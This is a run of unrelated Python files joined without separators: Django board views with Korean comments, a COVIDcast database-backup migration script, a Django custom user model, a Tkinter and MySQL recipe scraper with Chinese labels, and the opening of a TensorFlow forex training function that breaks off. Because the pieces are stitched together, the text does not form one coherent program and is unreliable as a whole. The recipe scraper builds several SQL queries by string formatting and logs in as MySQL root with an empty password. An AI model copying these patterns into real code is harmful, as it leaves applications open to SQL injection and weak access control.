#       # GET요청(혹은 다른 메서드)이면 기본 폼을 생성한다
#     else:
#         form = BoardForm()
#         # 포스트 요청이고, 유효성 문제에 있어서 문제가 있는 데이터일때
#     context = {'form': form }
#     return render(request, 'boards/create.html', context)

def create(request):
    if request.method == 'POST':
        form = BoardForm(request.POST)
        if form.is_valid():
            board = form.save()
            # 저장한 하나의 게시글을 반환
            return redirect('boards:detail', board.pk)
    else:
        form = BoardForm()
    context = {'form': form }
    return render(request, 'boards/form.html', context)

def detail(request, board_pk):
    # board = Board.objects.get(pk=board_pk)
    board = get_object_or_404(Board, pk=board_pk)
    context = {'board':board }
    return render(request, 'boards/detail.html', context)

def delete(request, board_pk):
    board = get_object_or_404(Board, pk=board_pk)
    if request.method == 'POST':
        board.delete()
        return redirect('boards:index')

    else:
        return redirect('boards:detail', board.pk)

# def update(request, board_pk):
#     board = get_object_or_404(Board, pk=board_pk)
#     if request.method == 'POST':
#         form = BoardForm(request.POST)
#         if form.is_valid():
#             board.title = form.cleaned_data.get('title')
#             board.content = form.cleaned_data.get('content')
#             board.save()
#             return redirect('boards:detail', board.pk)
#     # GET 요청이면(수정하기 버튼을 눌렀을때)

#     else:
#         # BoardForm을 초기화(사용자 입력 값으 넣어준 상태로)
#         # form = BoardForm(initial={'title':board.title, 'content':board.content}
#         form = BoardForm(initial=board.__dict__)
#     # 1. POST: 요청에서 검증에 실패하였을때, 오류 메세지가 포함된 상태
#     # 2. GET: 요청에서 초기화된 상태
#     context = {'form':form}
#     return render(request, 'boards/create.html', context)

def update(request, board_pk):
    board = get_object_or_404(Board, pk=board_pk)
    if request.method == 'POST':
        form = BoardForm(request.POST, instance=board) #1
        if form.is_valid(): # validation을 다 해주는것
            board = form.save()             #2
            return redirect('boards:detail', board.pk)

    else:
        form = BoardForm(instance=board) # 3

    context = {
        'form':form,
        'board': board,
    }
    return render(request, 'boards/form.html', context)


"""
Script to use DB backups to migrate data for covidcast issues and lag addition

Author: Eu Jing Chua
Created: 2020-06-26
"""

# Standard library
import argparse
from collections import defaultdict
import datetime
import glob
import gzip
from itertools import islice, chain, starmap
import logging
from multiprocessing import Pool
import os
from typing import Optional, List, Iterable, Iterator, Dict, Tuple

# Third party
import pandas as pd
from multiprocessing_logging import install_mp_handler, uninstall_mp_handler

COVIDCAST_INSERT_START = "INSERT INTO `covidcast` VALUES "

# Column names
INDEX_COLS = ["source", "signal", "time_type", "geo_type", "time_value", "geo_value"]
VALUE_COLS = ["value_updated_timestamp", "value", "stderr", "sample_size", "direction_updated_timestamp", "direction"]
ALL_COLS = INDEX_COLS + VALUE_COLS
ALL_COLS_WITH_PK = ["id"] + ALL_COLS

# Dtypes that try save memory by using categoricals
DTYPES = {
    # skip "id", the primary key as it may have changed
    "source": "category",
    "signal": "category",
    "time_type": "category",
    "geo_type": "category",
    # time_value as str, because we need this parsed as a datetime anyway
    "time_value": "str",
    "geo_value": "category",
    "value_updated_timestamp": "int",
    "value": "str",
    "stderr": "str",
    "sample_size": "str",
    "direction_updated_timestamp": "int",
    "direction": "category"
}

def parse_args():
    '''
    Commandline arguments
    '''
    parser = argparse.ArgumentParser(
        description="Process DB backups to migrate data for covidcast issues and lag addition")
    parser.add_argument(
        "--input-files", nargs="+", dest="sql_files",
        default=glob.glob("./just_covidcast_*_database.sql.gz"),
        help="Input backup .sql files to process. May be compressed (.gz)")
    parser.add_argument(
        "--skip", nargs="+", dest="skip_sources", default=[],
        help="List of sources to skip")
    parser.add_argument(
        "--tmp-dir", dest="tmp_dir", default="./tmp", type=str,
        help="Temporary directory to use for intermediate files")
    parser.add_argument(
        "--out-dir", dest="out_dir", default="./out", type=str,
        help="Output directory to use for resulting .sql files")
    parser.add_argument(
        "--max-insert-chunk", dest="chunk_size", default=1000, type=int,
        help="Maximum number of rows to have per SQL INSERT statement")
    parser.add_argument(
        "--par", dest="parallel", action="store_true",
        help="Enable multiprocessing")
    parser.add_argument(
        "--ncpu-csvs", dest="ncpu_csvs", default=1, type=int,
        help="Max number of processes to use for CSV processing (low memory usage)")
    parser.add_argument(
        "--ncpu-sources", dest="ncpu_sources", default=1, type=int,
        help="Max number of processes to use for processing sources (high memory usage)")
    parser.add_argument(
        "--incremental", dest="use_cache", action="store_true",
        help="Reuse results in --tmp-dir, and skip over existing results in --out-dir")
    parser.add_argument(
        "--debug", dest="debug", action="store_true",
        help="More verbose debug output")

    args = parser.parse_args()
    return args

def show_args(args):
    '''
    Display arguments being used
    '''
    logging.info("Input files (in order):\n\t%s", "\n\t".join(sorted(args.sql_files)))
    logging.info("Skipping sources: [%s]", ", ".join(args.skip_sources))
    logging.info("Temporary dir: %s", args.tmp_dir)
    logging.info("Output dir: %s", args.out_dir)
    logging.info("Max insert chunk: %d", args.chunk_size)
    logging.info("Parallel: %s", args.parallel)
    if args.parallel:
        logging.info("Num. CPU (CSVs): %d", args.ncpu_csvs)
        logging.info("Num. CPU (sources): %d", args.ncpu_sources)
    logging.info("Incremental: %s", args.use_cache)
    logging.info("Debug output: %s", args.debug)
    print()

def main(args):
    '''
    Overall flow:
        1) Extract relevant tuples from .sql into CSVs so we can use CSV diffing tools
        2) Split each CSV by 'source'
        3) For each source, do a CSV diff for each sliding pair of dates
        4) As diffs are found, write results to a .sql file for current source
    '''

    # 0) Configuration stuff
    logging.basicConfig(
        level=logging.DEBUG if args.debug else logging.INFO,
        format="%(levelname)s:\t%(message)s")

    show_args(args)

    os.makedirs(args.tmp_dir, exist_ok=True)
    os.makedirs(args.out_dir, exist_ok=True)

    # 1) Extract relevant tuples from .sql into CSVs so we can use CSV diffing tools
    logging.info("Extracting to csvs...")
    csv_files = []
    extract_args = []

    # Ensure files are in sorted order of date in filename
    for sql_file in sorted(args.sql_files):
        csv_file = os.path.join(
            args.tmp_dir,
            f"just_covidcast_{date_int_from_filename(sql_file)}.csv")

        if args.use_cache and os.path.exists(csv_file):
            logging.debug("CSV %s already exists, skipping processing of %s", csv_file, sql_file)
        else:
            extract_args.append((sql_file, csv_file))

        # Regardless of cache, keep track of csv files anyway
        csv_files.append(csv_file)

    starmap_mp_logging(
        extract_to_csv, extract_args,
        par=args.parallel, ncpu=args.ncpu_csvs)

    # 2) Split each backup's csv by source
    logging.info("Splitting csvs...")
    split_col = 1
    split_csv_args = []
    files_by_src = defaultdict(list)

    for csv_file in csv_files:
        base_name, f_ext = os.path.splitext(csv_file)
        split_patt = f"{base_name}_*{f_ext}"
        split_csv_files = glob.glob(split_patt)

        if args.use_cache and len(split_csv_files) > 0:
            logging.debug("CSV %s already split, skipping splitting", csv_file)

            # If split csvs already exist, update files_by_src directly
            for sub_csv_file in split_csv_files:
                src = sub_csv_file.split("_")[-1][:-4]
                files_by_src[src].append(sub_csv_file)
        else:
            split_csv_args.append((csv_file, split_col))

    by_srcs = starmap_mp_logging(
        split_csv_by_col, split_csv_args,
        par=args.parallel, ncpu=args.ncpu_csvs)

    # Combine all return dictionaries into a dictionary of lists instead
    # Note that each list may not be sorted
    for by_src in by_srcs:
        for src, sub_csv_file in by_src.items():
            files_by_src[src].append(sub_csv_file)

    # 3) Find issues from sliding pairs of [None, csv_1, csv_2, ... csv_N] for each source
    proc_args = []
    for source, src_files in files_by_src.items():
        if source in args.skip_sources:
            logging.info("Skipping group: %s", source)
            continue

        proc_args.append((args, source, src_files))

    output_sql_files = starmap_mp_logging(
        process_source, proc_args,
        par=args.parallel, ncpu=args.ncpu_sources)

    return output_sql_files

def starmap_mp_logging(func, args: Iterable, par: bool = False, ncpu: Optional[int] = None):
    '''
    Does a starmap of f over args, either in parallel or serially, with logging support

    Args:
        func: Callable to execute with each of args
        args: List-like of args to execute f with
        par: Whether to run in parallel or not
        ncpu: When par=True, how many processes to use

    Returns:
        Result equivalent to starmap(f, args)
    '''
    if par:
        install_mp_handler()
        try:
            with Pool(ncpu) as pool:
                return pool.starmap(func, args)
        finally:
            uninstall_mp_handler()
    else:
        return starmap(func, args)

def process_source(args, source: str, src_files: List[str]) -> List[List[str]]:
    logging.info("[%s] Finding issues and generating SQL files...", source)
    files = [None] + sorted(src_files)
    output_files = []

    for before_file, after_file in zip(files, files[1:]):
        date_int_after = date_int_from_filename(after_file)
        if before_file is None:
            logging.debug("[%s] First: %s", source, date_int_after)
            outfile = os.path.join(args.out_dir, f"{source}_00000000_{date_int_after}.sql")
        else:
            date_int_before = date_int_from_filename(before_file)
            logging.debug("[%s] Diffing: from %s to %s", source, date_int_before, date_int_after)
            outfile = os.path.join(args.out_dir, f"{source}_{date_int_before}_{date_int_after}.sql")

        # Diff and find new issues
        if args.use_cache and os.path.exists(outfile):
            logging.debug(
                "[%s] SQL file %s already generated, skipping diff",
                source, outfile)
            output_files.append(outfile)
            continue

        issues = generate_issues(before_file, after_file)

        # 4) Write out found issues into the SQL file
        logging.debug("[%s] Writing to %s", source, outfile)
        try:
            with open(outfile, "w") as f_sql:
                for issues_chunk in chunked(issues, args.chunk_size):
                    insert_stmt = COVIDCAST_INSERT_START + \
                        ",\n".join(issues_chunk) + \
                        ";\n"
                    f_sql.write(insert_stmt)
            output_files.append(outfile)

        except Exception as ex:
            logging.error(
                "[%s] Stopped unexpectedly while writing %s, deleting it",
                source, outfile, exc_info=True)
            os.remove(outfile)
            raise ex

    return output_files

def extract_to_csv(filename: str, output: str):
    '''
    Takes a backup .sql file and produces a CSV representing just the covidcast rows.
    Also accepts gzipped .sql.gz files as input.

    Args:
        filename: Input .sql or .sql.gz file
        output: Output .csv file
    '''

    logging.debug("Processing %s into %s", filename, output)

    is_covidcast = lambda line: line.startswith(COVIDCAST_INSERT_START)

    # Open gzipped .sql file or regular .sql file
    if filename.endswith(".gz"):
        open_file = lambda fname: gzip.open(fname, "rt")
    else:
        open_file = lambda fname: open(fname, "r")

    # Load bulk insert lines
    with open_file(filename) as f_in:

        # Try to keep everything as iterators to reduce memory usage
        inserts = filter(is_covidcast, f_in)

        # Extract just tuples as individual lines
        old_sep, new_sep = "),(", "\n"

        # Skip the initial insert statement and (, and trailing ');\n'
        start, end = len(COVIDCAST_INSERT_START) + 1, -3

        with open(output, "w") as f_out:
            for insert_cmd in inserts:
                split_up_insert = insert_cmd[start:end].replace(old_sep, new_sep)
                f_out.write(split_up_insert + "\n")

def split_csv_by_col(
        filename: str, col_idx: int, add_header: bool = True) -> Dict[str, str]:
    '''
    Splits up a CSV file by unique values of a specified column into subset CSVs.
    Produces subset CSVs in same directory as input, with '_{value}' appended to filename.
    Assumes the input CSV has no header row, as produced by extract_to_csv.

    Args:
        filename: Input CSV file
        col_idx: Column index to split-by-values on
        add_header: Add column header row to output CSVs

    Returns:
        Mapping from column value -> subset CSV filename
    '''

    logging.debug("Splitting %s by %s", filename, ALL_COLS_WITH_PK[col_idx])

    open_file_writers = {}
    created_files = {}
    base_name, f_ext = os.path.splitext(filename)

    with open(filename, "r") as f_csv:
        # Assume no header
        prev_value = None
        for line in f_csv:
            # Not using in-built csv module as it was alot slower

            # Dont need the rest of the split beyond the column we are interested in
            value = line.split(",", col_idx + 1)[col_idx]

            # Get appropriate file to write to, and create it if it does not exist yet
            # Since most sources are in continuous rows, try do less dict lookups
            # Only change file handle when we see a different value
            if value != prev_value:
                if value not in open_file_writers:

                    # Strip value of surrounding quotes for nicer filenames
                    clean_value = value.strip("'")
                    created_file = f"{base_name}_{clean_value}{f_ext}"
                    created_files[clean_value] = created_file

                    # Create and store file handle
                    sub_f = open(created_file, "w")
                    open_file_writers[value] = sub_f

                    # Add headers as the first row if indicated
                    if add_header:
                        sub_f.write(",".join(ALL_COLS_WITH_PK) + "\n")
                else:
                    sub_f = open_file_writers[value]

            # Write to appropriate file
            sub_f.write(line)

            prev_value = value

    # Close all sub file handles
    for _, sub_f in open_file_writers.items():
        sub_f.close()

    return created_files

def datetime_to_int(date: datetime.datetime) -> int:
    '''
    Convert input datetime.date to date integer format YYYYmmdd
    '''
    return int(date.strftime("%Y%m%d"))

def int_to_datetime(date_int: int) -> datetime.datetime:
    '''
    Convert input date integer format YYYYmmdd to datetime.datetime
    '''
    return datetime.datetime.strptime(str(date_int),"%Y%m%d")

def date_int_from_filename(filename: str) -> int:
    '''
    Extract date integer from a filename.
    Assumes file is of format '{dir}/just_covidcast_{date}_...{ext}'.
    '''
    file_base = os.path.basename(filename)
    return int(file_base.split("_")[2])

def pd_csvdiff(
        before_file: str, after_file: str,
        index_cols: List[str],
        dtypes: Dict[str, str],
        find_removals: bool = False
        ) -> Tuple[pd.DataFrame, pd.DataFrame]:
    '''
    Finds the diff (additions and changes only by default) between two CSV files.
    Can find removals, but the additional index operations required add significant time.
    Uses pandas with specified dtypes to save some memory.

    Args:
        before_file: The "before" CSV file to diff from
        after_file: The "after" CSV file to diff to
        index_cols: Column names to use as the index that identifies an entry
        dtypes: Dtype definitions for column names to try save memory
        find_removals: Whether to find entries that were removed too

    Returns:
        A dataframe containing a subset of the after_file CSV that represents additions and changes
    '''
    df_before = pd.read_csv(
        before_file, usecols=dtypes.keys(), parse_dates=["time_value"],
        dtype=dtypes, na_filter=False)
    df_after = pd.read_csv(
        after_file, usecols=dtypes.keys(), parse_dates=["time_value"],
        dtype=dtypes, na_filter=False)

    # Efficiently union all categories together for comparison
    for col, dtype in dtypes.items():
        if dtype == "category":
            before_cats = df_before[col].cat.categories
            after_cats = df_after[col].cat.categories
            df_before[col].cat.add_categories(after_cats.difference(before_cats), inplace=True)
            df_after[col].cat.add_categories(before_cats.difference(after_cats), inplace=True)

            assert df_before[col].dtype == df_after[col].dtype

    df_before.set_index(index_cols, inplace=True)
    df_after.set_index(index_cols, inplace=True)

    # Ensure lex sorted indices for efficient indexing
    df_before.sort_index(inplace=True)
    df_after.sort_index(inplace=True)

    # Find additions and changes together
    # Re-index df_before to be like df_after, index-wise, then do a diff
    # For common indices, different field values be false in same_mask
    # Since df_before is filled with NaN for new indices, new indices turn false in same_mask
    same_mask = (df_before.reindex(df_after.index) == df_after)

    # Ignore direction_updated_timestamp in the diff
    is_diff = ~(same_mask.loc[:, same_mask.columns != "direction_updated_timestamp"].all(axis=1))

    # Removed indices can be found via index difference, but is expensive
    if find_removals:
        removed_idx = df_before.index.difference(df_after.index)

        return (
            df_after.loc[is_diff, :],
            df_before.loc[removed_idx, :])

    return (
        df_after.loc[is_diff, :],
        None)

def generate_issues(
        before_file: Optional[str], after_file: str) -> Iterator[str]:
    '''
    A generator that diffs the input files, then yields formatted strings representing a row-tuple
    to be inserted in SQL. If before_file is None, we are simplying filling it with entries from
    after_file. The issue date for these "first" entries come from the after_file filename.
    Otherwise, we are updating accum with the diff between before_file to after_file.

    Args:
        before_file: The "before" CSV file in diffing. None if after_file is the 1st
        after_file: The "after" CSV file in diffing.

    Returns:
        An iterator that yields the string row-tuples to be inserted as an issue.
    '''

    # Get issue date from after_file
    issue_date_int = date_int_from_filename(after_file)
    issue_date = int_to_datetime(issue_date_int)

    row_fmt = "(" \
        "{id},{source},{signal},{time_type},{geo_type},{time_value},{geo_value}," \
        "{row.value_updated_timestamp},{row.value},{row.stderr},{row.sample_size},{row.direction_updated_timestamp},{row.direction}," \
        "{issue},{row.lag})"

    try:
        if before_file is None:
            # At first file, just yield all contents as new issues
            df_diff = pd.read_csv(
                after_file, usecols=DTYPES.keys(), parse_dates=["time_value"],
                dtype=DTYPES, index_col=INDEX_COLS, na_filter=False)
        else:
            # Perform the CSV diff using INDEX_COLS to identify rows
            df_diff, _ = pd_csvdiff(before_file, after_file, INDEX_COLS, DTYPES)
    except Exception as ex:
        logging.error(
            "Diff Failed!!! Between files '%s', '%s'",
            before_file, after_file, exc_info=True)
        raise ex

    # TODO: Does not really handle weekly values properly. Weekly time_value are in YYYYww format
    df_diff["lag"] = (issue_date - df_diff.index.get_level_values("time_value")).days
    is_weekly = df_diff.index.get_level_values("time_type") == "week"
    df_diff.loc[is_weekly, "lag"] = df_diff.loc[is_weekly, "lag"] // 7

    for row in df_diff.itertuples():
        index = dict(zip(INDEX_COLS, row.Index))
        index["time_value"] = datetime_to_int(index["time_value"])

        yield row_fmt.format(id=0, **index, row=row, issue=issue_date_int)

def chunked(iterable: Iterable, size) -> Iterator[Iterator]:
    '''
    Chunks an iterable into desired size without walking whole iterable first.
    https://stackoverflow.com/questions/24527006/split-a-generator-into-chunks-without-pre-walking-it
    '''
    iterator = iter(iterable)
    for first in iterator:
        yield chain([first], islice(iterator, size - 1))

if __name__ == "__main__":
    main(parse_args())


from django.db import models

from django.contrib.auth.models import AbstractUser

from django.utils.translation import gettext_lazy as _
from .managers import CustomUserManager
from base.models import Language, Word

# Create your models here.

class User(AbstractUser):
    # pass
    username = None
    # django.core.exceptions.FieldError: Unknown field(s) (username) specified for User. Check fields/fieldsets/exclude attributes of class CustomUserAdmin.
    email = models.EmailField(_("email address"), unique=True)
    native_language = models.ForeignKey(Language, on_delete=models.SET_NULL, null=True, blank=True, related_name='native_users')
    languages = models.ManyToManyField(Language, blank=True)

    USERNAME_FIELD = 'email'
    REQUIRED_FIELDS = []

    objects = CustomUserManager()

    def __str__(self):
        return self.email
class UserWord(models.Model):
    user = models.ForeignKey(User, on_delete=models.CASCADE)
    user_word = models.ForeignKey(Word, on_delete=models.CASCADE)
    score = models.IntegerField(null=True, blank=True, default=0)
    isMastered = models.BooleanField(default=False, null=True, blank=True)

    class Meta:
        unique_together = ('user', 'user_word')

    def __str__(self):
        return self.user_word.word


# -*- coding: utf-8 -*-
"""
Created on Tue Apr 10 15:02:20 2018

@author: hhgood
"""

#encoding=utf-8
import io
# allows for image formats other than gif
try:
  # Python2
  import Tkinter as tk
  from urllib2 import urlopen
except ImportError:
  # Python3
  import tkinter as tk
  from urllib.request import urlopen
import requests
import mysql.connector as MySQLdb
import bs4
from PIL import Image,ImageTk
path='https://www.xiachufang.com'
category='/category'
page='?page='
recipe='recipe/'
database='food'
def get_html(url):
    try:
        r = requests.get(url, timeout=30)
        r.raise_for_status
        r.encoding = 'UTF-8'
        return r.text
    except:
        return "someting wrong"
class Data(object):
    def __init__(self,path,category,recipe):
        self.path=path
        self.category=category
        self.recipe=recipe
#    def __del__(self):
#        self.con.close()
#        self.conn.close()
    def connect(self):
        try:
            self.conn=MySQLdb.connect(user='root',password='',database='food')
            self.con=self.conn.cursor()
            return "success connect"
        except:
            return "fail connect"
    def CreateDataTable(self):
# 创建数据库表
#        self.con.execute('drop table food_picture')
#        self.con.execute('drop table food_recipe')
#        self.con.execute('drop table kind_food')
#        self.con.execute('drop table cook_kind_1')
#        self.con.execute('drop table cook_kind_2')
#        self.con.execute('drop table cook_kind_3')

        self.con.execute('create table food_picture(food_url varchar(50),step_words text,step_picture varchar(150)) ')
        self.con.execute('create table food_recipe(food_url varchar(50),recipe varchar(50),amount varchar(50))')
        self.con.execute('create table kind_food(kind_url varchar(50),name varchar(50),url varchar(50))')
        self.con.execute('create table cook_kind_1(name_1 varchar(50))')
        self.con.execute('create table cook_kind_2(name_1 varchar(50),name_2 varchar(50),name_2_url varchar(50)) ')
        self.con.execute('create table cook_kind_3(name_2 varchar(50),name_3 varchar(50),name_3_url varchar(50)) ')
        self.conn.commit()
    def CreateCookBook(self): ###########################table cook_kind_1,2,3
        html=get_html(self.path+self.category)
        soup = bs4.BeautifulSoup(html, 'lxml')
        second_file=soup.find_all('div',class_='cates-list clearfix has-bottom-border pb20 mb20')
        for second in second_file:
            second_index=second.find('h3',class_='font20 m0').text
            self.con.execute('insert into cook_kind_1(name_1) values(%s)',[second_index])
#            third_file=second.find('div',class_='cates-list-all clearfix hidden')
            third_index=second.find_all('h4',class_='font16')
            third_name =second.find_all('ul',class_=' has-bottom-border')
            third_name.append(second.find('ul',class_='cates-border-none has-bottom-border'))
            lenth=len(third_index)
            for i in range(lenth):
                forth_index=third_name[i].find_all('li')
                self.con.execute('insert into cook_kind_2(name_1,name_2) values(%s,%s)',[second_index,third_index[i].text.strip()])
                for j in forth_index:
                    self.con.execute('insert into cook_kind_3(name_2,name_3,name_3_url) values(%s,%s,%s)',[third_index[i].text.strip(),j.a.text,j.a['href']])
        self.conn.commit()

    def get_content(self,url):#################### table food_recipe,food_picture
        html = get_html(url)
        soup = bs4.BeautifulSoup(html, 'lxml')
        title=soup.find('h1',class_='page-title').text.strip()
#        print(title)
#        title=url
        recipe=soup.find('div',class_='ings')
        name=recipe.find_all('td', class_='name')
        unit=recipe.find_all('td', class_='unit')
        for i in range(len(name)):
            self.con.execute('insert into food_recipe(food_url ,recipe ,amount) values(%s,%s,%s)',[title,name[i].text.strip(),unit[i].text.strip()])
        steps_list = soup.find('div', class_='steps')
        steps = steps_list.find_all('li')
        for i in range(len(steps)):
            try:
                img_name = steps[i].find('p',class_='text').text.strip()
            except:
                img_name=None
#            print('  '+img_name)
            try:
                img_url=steps[i].find('img')['src']
            except:
                img_url=None
            self.con.execute('insert into food_picture(food_url ,step_words,step_picture) values(%s,%s,%s)',[title,img_name.encode(),img_url])
    def crawler(self,name):##########################  table kind_food
#        count=1
        page_number=1
        while True:
            new_url=self.path+str(name)+'?page='+str(page_number)
            print(new_url)
            html = get_html(new_url)
            soup = bs4.BeautifulSoup(html, 'lxml')
            cook=soup.find('div',class_='normal-recipe-list')
            if cook==None:
                break
            cook_list=cook.find_all('li')
#            count=len(cook_list)
            for c in cook_list:
                self.con.execute("insert into kind_food(kind_url,name,url) values('%s','%s','%s')"%(str(name),c.p.text.strip(),c.a['href']))
                self.get_content(self.path+c.a['href'])
            page_number+=1
            self.conn.commit()
    def search_1(self,var):
        self.con.execute("select distinct food_url from food_recipe where recipe=%s",[var])
#        self.con.execute("select name from kind_food where url in (select distinct food_url from food_recipe where recipe=%s)",[var])
    def search_2(self,var):
        self.con.execute("select distinct food_url from food_picture where step_words like %s",['%'+var+'%'])
#        self.con.execute("select name from kind_food where url in (select distinct food_url from food_picture where step_words like %s)",['%'+var+'%'])
    def search_3(self,var):
        self.con.execute("select name from kind_food where name like %s",['%'+var+'%'])

data=Data(path,category,recipe)
window=tk.Tk()
h=800
w=1000
window.geometry('%dx%d'%(h,w))
window.title(path)
#tk.Label(window,text=path).pack()
frame_l=tk.Frame(window,width=400)
frame_l.place(x=0,y=0)
frame_r=tk.Frame(window,width=400)
frame_r.place(x=400,y=0)

tk.Label(frame_l,text="功能").pack()

var_1=tk.Variable()
var_1.set("未连接")
var_2=tk.Variable()
var_2.set("未构建")
var_3=tk.StringVar()
var_4=tk.StringVar()
var_5=tk.StringVar()
var_6=tk.StringVar()
var_7=tk.StringVar()
var_7.set('0')
var_8=tk.StringVar()
var_9=tk.StringVar()
var_10=tk.StringVar()
var_11=tk.StringVar()
var_11.set("目录")
var_12=tk.StringVar()
var_12.set("步骤")
var_13=tk.StringVar()
var_13.set("用料")
var_14=tk.StringVar()
var_14.set("搜索结果")

def link():
    var_1.set(data.connect())
tk.Button(frame_l,text='连接数据库',command=link).pack()
def create():
    try:
        data.CreateDataTable()
        data.CreateCookBook()
        data.conn.commit()
        var_2.set("构建成功")
    except:
#        raise
        var_2.set("已构建")
#    data.con.execute('select name_3 from cook_kind_3' )
    data.con.execute('select name_1 from cook_kind_1' )
    var_4.set(data.con.fetchall())
tk.Button(frame_l,text='构建数据库',command=create).pack()

def fill_1():
    value=lb.get(lb.curselection())
    data.con.execute("select name_3_url from cook_kind_3 where name_3='%s'"%(value) )
    result=data.con.fetchone()[0]
    try:
        data.crawler(result)
        var_3.set(result+'success')
    except:
        var_3.set(result+'fail')
        raise
tk.Button(frame_l,text='填充数据库_1',command=fill_1).pack()
tk.Label(frame_l,textvariable=var_3,bg='green',font=('Arial',12)).pack()

def back_detail():
    value=lb.get(lb.curselection())
    data.con.execute("select name_3 from cook_kind_3 where name_2=(select name_2 from cook_kind_3 where name_3_url=(select kind_url from kind_food where name=%s))",value)
    result=data.con.fetchall()
    if result==[]:
        data.con.execute("select name_2 from cook_kind_2 where name_1=(select name_1 from cook_kind_2 where name_2=(select name_2 from cook_kind_3 where name_3=%s))",value)
        result=data.con.fetchall()
        if result==[]:
            data.con.execute("select name_1 from cook_kind_1")
            result=data.con.fetchall()
    var_4.set(result)
    var_11.set('目录('+str(len(result))+')')
tk.Button(frame_l,text='回退细节_1',command=back_detail).pack()

def fill_detail():
    value=lb.get(lb.curselection())
    data.con.execute("select name_2 from cook_kind_2 where name_1='%s'"%(value))
    result=data.con.fetchall()
    if result==[]:
        data.con.execute("select name_3 from cook_kind_3 where name_2='%s'"%(value))
        result=data.con.fetchall()
        if result==[]:
            data.con.execute("select name from kind_food where kind_url=(select name_3_url from cook_kind_3 where name_3='%s')"%(value))
            result=data.con.fetchall()
            if result==[]:
                var_9.set(value)
                var_10.set(value)
                fill_2()
                fill_4()
                return
    var_4.set(result)
    var_11.set('目录('+str(len(result))+')')
tk.Button(frame_l,text='显示细节_1',command=fill_detail).pack()
tk.Label(frame_l,text='搜索输入').pack()

e=tk.Entry(frame_l)
e.pack()
def Search_1():
    var=e.get()
    data.search_1(var)
    result=data.con.fetchall()
#    t.insert('end',result)
    var_5.set(result)
    var_14.set('搜索结果('+str(len(result))+')')
tk.Button(frame_l,text="用料搜索",command=Search_1).pack()
#t.pack()

def Search_2():
    var=e.get()
    data.search_2(var)
    result=data.con.fetchall()
    var_5.set(result)
    var_14.set('搜索结果('+str(len(result))+')')
#    t.insert('end',result)
tk.Button(frame_l,text="工艺搜索",command=Search_2).pack()

def Search_3():
    var=e.get()
    data.search_3(var)
    result=data.con.fetchall()
    var_5.set(result)
    var_14.set('搜索结果('+str(len(result))+')')
#    t.insert('end',result)
tk.Button(frame_l,text="菜名搜索",command=Search_3).pack()
tk.Label(frame_l,textvariable=var_14).pack()
lb_2=tk.Listbox(frame_l,listvariable=var_5)
lb_2.pack()

def fill_2():
    try:
        value=lb_2.get(lb_2.curselection())
    except:
        value=lb.get(lb.curselection())
    data.con.execute("select step_words from food_picture where food_url='%s'"%(value))
    result=data.con.fetchall()
    var_6.set(result)
    var_9.set(value)
    var_12.set('步骤('+str(len(result))+')')
tk.Button(frame_l,text='显示做菜步骤_1_2',command=fill_2).pack()

def fill_4():
    try:
        value=lb_2.get(lb_2.curselection())
    except:
        value=lb.get(lb.curselection())
    data.con.execute("select recipe from food_recipe where food_url=%s",value)
    result=data.con.fetchall()
    var_8.set(result)
    var_10.set(value)
    var_13.set('用料('+str(len(result))+')')
tk.Button(frame_l,text='显示用料_1_2',command=fill_4).pack()

def fill_3():
    value=lb_3.get(lb_3.curselection())
    data.con.execute("select step_picture from food_picture where step_words=%s",value)
    img_url=data.con.fetchone()[0]
    print(img_url)
    if img_url!=None:
        image_bytes = urlopen(img_url).read()
        data_stream = io.BytesIO(image_bytes)
        pil_image = Image.open(data_stream)
        tk_image = ImageTk.PhotoImage(pil_image)
        label.config(image=tk_image)
        label.image=tk_image
    else :
        label.config(text='空')
        label.config(image=None)
tk.Button(frame_l,text='显示图片_3',command=fill_3).pack()
label = tk.Label(frame_l)
label.pack()
tk.Label(frame_l,text='picture').pack()
####################################################################################################################
tk.Label(frame_r,text="结果").pack()
tk.Label(frame_r,textvariable=var_1).pack()
tk.Label(frame_r,textvariable=var_2).pack()
frame_list=tk.Frame(frame_r)
frame_list.pack()
tk.Label(frame_list,textvariable=var_11).pack()
lb=tk.Listbox(frame_list,listvariable=var_4)
lb.pack()

frame_list_2=tk.Frame(frame_r)
frame_list_2.pack()

def count():
    try:
        value=lb_2.get(lb_2.curselection())
    except:
        value=lb.get(lb.curselection())
    data.con.execute("select step_picture from food_picture where food_url='%s'"%(value))
    result=data.con.fetchall()
    number=0
    for i in result:
        if i!=None:
            number+=1
    print(number)
    var_7.set(str(number))
tk.Label(frame_list_2,textvariable=var_7).pack()
tk.Button(frame_list_2,text='图片数量_1_2',command=count).pack()
tk.Label(frame_list_2,textvariable=var_9,bg='green',font=('Arial',12)).pack()
tk.Label(frame_list_2,textvariable=var_12).pack()
lb_3=tk.Listbox(frame_list_2,listvariable=var_6)
lb_3.pack()

#frame=tk.Frame(window,width=1000,height=1000)
#frame.pack()
#t = tk.Text(frame_r,height=2)
#scrollbar.config(command=t.yview)
#scrollbar=tk.Scrollbar(frame,orient='vertical')
#scrollbar.pack(side='right', fill='y')
#window.title('test')

#    with open(value+'.png','wb+') as f:
#        f.write(requests.get(img_url).content)
frame_list_2=tk.Frame(frame_r)
frame_list_2.pack()

#frame_picture=tk.Toplevel()

tk.Label(frame_list_2,textvariable=var_10,bg='green',font=('Arial',12)).pack()
tk.Label(frame_list_2,textvariable=var_13).pack()
lb_4=tk.Listbox(frame_list_2,listvariable=var_8)
lb_4.pack()

#result=0
#def show_me():
#    var=e.get()
#    data.con.execute('select step_words from food_picture where food_url=%s',[var])
#    result=data.con.fetchall()
#    var_6.set(result)
#tk.Button(frame_l,text='search',command=show_me).pack()

window.mainloop()


from datetime import datetime
from predictionservices.dataProvidingServices.dataProviding import prepairDataForLoad
import tensorflow as tf
import numpy as np
from tensorflow.keras.models import Sequential, Model
from tensorflow.keras.layers import concatenate
from tensorflow.keras.layers import Dense, Input, Dropout, LSTM, Conv1D, MaxPooling1D
from tensorflow.keras.regularizers import l2
from matplotlib import pyplot as plt
import predictionservices. errors
import pathlib
from tensorflow.keras.callbacks import EarlyStopping
from tensorflow.keras.optimizers import Adam
from tensorflow.keras.callbacks import EarlyStopping
from tensorflow.keras.losses import MeanAbsolutePercentageError

Training = True

def train_model(category, pair, newsKeywords,
                provider=['fxstreet'],
                resolution=60,
                SEQ_LEN=7 , epoch=60, learningRate=0.001, decay=1e-6, batch_size=32):
    try:
        print('-------------Start Model Training for currency pair {a} with news keywords {b}--------------------------'.format(a = pair,b=newsKeywords))
        endDate =int( datetime.utcnow().timestamp())
        threeYearsTS = 94867200
        twoYearsTS = 63072000
        startDate = endDate - twoYearsTS
